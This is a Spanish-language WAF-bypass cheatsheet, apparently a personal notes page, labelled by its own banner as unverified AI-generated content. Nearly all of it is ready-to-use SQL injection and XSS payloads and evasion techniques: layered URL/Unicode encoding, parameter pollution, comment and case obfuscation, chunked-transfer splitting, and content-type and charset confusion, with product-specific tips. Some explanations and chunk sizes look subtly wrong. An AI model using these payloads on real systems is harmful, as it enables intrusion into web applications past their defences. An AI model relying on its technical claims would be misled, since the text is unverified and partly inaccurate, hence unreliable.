Cheatsheet

WAF Bypass Encoding Cheatsheet

⚠️ Contenido generado por IA (deepseek-chat) el 2026-09-03, a partir de conocimiento entrenado — NO es research con fuente verificada (para eso, ver Investigación/). Verificar detalles críticos (versiones, sintaxis exacta) antes de usar en un engagement real.

1. Encoding múltiple/mixto (URL + HTML + Unicode)

Los WAFs decodifican una vez (o dos). Encadena capas para romper la normalización.

Payload original: ' OR 1=1--

Doble URL encode (SQLi en parámetros GET):

%2527%2520OR%25201%253D1--

(El servidor decodifica %25 -> %, el WAF ve %27 literal y no lo interpreta, la app luego decodifica a ')

Triple URL + Unicode (XSS en header referrer):

%2526%23x27%253Balert%25281%2529%253B%252F%252F

(Decodificación: %25->%, luego %26->&, luego la app parsea ' como HTML entity -> ')

Mixto hex + URL + entity (para payloads en JSON body):

{"q":"\\u0027\\u0020OR\\u00201\\u003D1--"}

Primero la app deserializa JSON (escapes unicode), el WAF no expande \u.

Regla clave: Aplica encoding hasta que el WAF deje de coincidir, pero que la app final aún lo decodifique. Prueba en orden: URL -> Unicode -> HTML entity -> doble URL.

2. HTTP Parameter Pollution (HPP)

Cuando el back-end concatena o toma el último valor, el WAF solo analiza el primero.

Payload original (SQLi en user): user=admin'--

HPP con mismo parámetro repetido (tomando el último en PHP/ASP):

GET /login?user=legit&user=admin'--&pass=x

El WAF ve user=legit y pasa; PHP usa $_GET['user'] = último (admin'--).

HPP con separadores de array:

GET /search?q=ok%5B%5D=1&q%5B%5D=' OR 1=1--

(El WAF ve q[]=1, la app parsea array y usa el índice 1)

HPP en POST (Tomcat/Java usa el primero):

POST /login
user=' OR 1=1-- &user=admin

Java getParameter() devuelve el primero, WAF comúnmente revisa el segundo.

Técnica de ruptura de parser: mezcla & y ; como separadores (algunos frameworks aceptan ambos):

GET /api?user=admin&foo=1;user=' OR '1'='1

3. Manipulación de mayúsculas/minúsculas y comentarios SQL

Aprovecha que casi todos los motores SQL son case-insensitive para keywords, pero los WAF hacen match case-sensitive.

Payload original: UNION SELECT username, password FROM users

Mayúsculas/minúsculas alternadas:

UnIoN SeLeCt UsErNaMe, pAsSwOrD FrOm UsErS

(Evita regex tipo [Uu][Nn][Ii][Oo][Nn] solo si no usan esa forma robusta — muchos no)

Caso extremo con cadenas en hexadecimal:

UNION SELECT 0x757365726E616D65, 0x70617373776F7264 FROM users

Comentarios inline para romper palabras clave (elimina espacios):

UN/**/ION SEL/**/ECT username/**/FROM users

WAF busca union select literal con espacio — esto lo evita. MySQL y PostgreSQL lo soportan.

Comentarios con condición extraña:

' OR 1=1 /*!50000UNION*/ /*!50000SELECT*/ 1,2--

(MySQL internal comment: /*!50000...*/ ejecuta el contenido si la versión >= 5.00, pero el WAF no lo expande)

Combinación key: doble bypass:

/**//*!50000UNION*/ /**//*!50000SELECT*/ username,password FROM users

Nuevas líneas como separador (Oracle usa %0A igual que espacio):

UNION%0ASELECT%0Ausername,password%0AFROM%0Ausers

4. Chunked Transfer Encoding (CTE)

Bypass del análisis de body HTTP en el WAF enviando chunks con tamaños falsos.

Payload original (SQLi en POST): user=' OR 1=1--

CTE simple con chunk offset:

POST /login HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

5
user=
14
' OR 1=1--
0

El WAF buffer hasta ver 0\r\n\r\n, pero muchas veces procesa chunk por chunk sin ensamblar el flujo, viendo solo fragmentos como user= y luego ' OR sin contexto.

CTE con chunk tamaño desproporcionado:

POST /login
Transfer-Encoding: chunked

FFFFFFF0
user=' OR 1=1--
0

El WAF espera más data de la que envía y corta el procesamiento; el servidor web la ensambla igual.

CTE con múltiples chunks y terminador null en medio:

POST /login
Transfer-Encoding: chunked

1
u
A
ser='
A
 OR 
A
1=1--
0

CTE + Trocear el payload entre chunks para evitar firma completa:

Transfer-Encoding: chunked

2
us
1
er=
3
' O
3
R 1
4
=1--
0

Nota: Enviar via curl -H 'Transfer-Encoding: chunked' --data-binary @file — curl no genera CTE automáticamente, usa netcat o socat para control exacto.

5. Confusión de Content-Type

Manipula el mimetype para que el WAF no aplique las reglas de body/sql/xss.

Payload original XSS: <script>alert(1)</script>

Contenido en JSON pero declarado como XML:

POST /api
Content-Type: application/xml

{"param":"<script>alert(1)</script>"}

WAF con perfil XML lo parsea como XML inválido y lo pasa, pero la app JSON.parse igual lo procesa.

Cambiar de application/json a multipart/form-data con un campo que contenga el payload:

POST /api
Content-Type: multipart/form-data; boundary=abc123

--abc123
Content-Disposition: form-data; name="data"

{"user":"<script>alert(1)</script>"}
--abc123--

Muchos WAFs solo aplican reglas SQLi/XSS al application/json o application/x-www-form-urlencoded, no dentro de multipart.

Charger el charset para evadir decodificación de bytes:

Content-Type: application/x-www-form-urlencoded; charset=ibm037
payload=%5C'%5C%20OR%5C%201%5C%3D1--

(Codificado en EBCDIC — la app lo decodifica, el WAF asume UTF-8 y no matchea)

Usar Content-Type: text/plain con body SQLi:

POST /login
Content-Type: text/plain

user=' OR 1=1--

Solo funciona si la app fuerza el parser o si usa $_POST multi-propósito (Python Flask con request.get_data()).

Doble Content-Type (splitter en algunos proxies):

Content-Type: application/json; boundary=x
Content-Type: application/x-www-form-urlencoded

{"a":"' OR 1=1--"}

Algunos WAF toman el último header, el proxy reenvía ambos pero la app usa el primero (o viceversa).

Notas finales de ejecución

Prueba estas variantes siempre de menor a mayor agresividad. Usa curl -H para headers, printf + nc para CTE manual. Documenta qué técnica funciona contra qué producto (mod_security, Cloudflare, AWS WAF, F5) porque el comportamiento varía: Cloudflare normaliza CTE antes de analizar, pero mod_security no ensambla chunks en streaming por defecto. Verifica el parámetro que usas: en Express/Node, req.query es un objeto — no sirve HPP clásico; en Laravel (PHP), el último valor gana; en ASP.NET, concatenación con comas. Adapta la técnica a la tecnología del back-end. También combina técnicas: CTE + payload en mayúsculas + comentarios internos es la secuencia que suele romper el análisis multi-capa.

Relacionado

  • [[_Cheatsheets — índice]]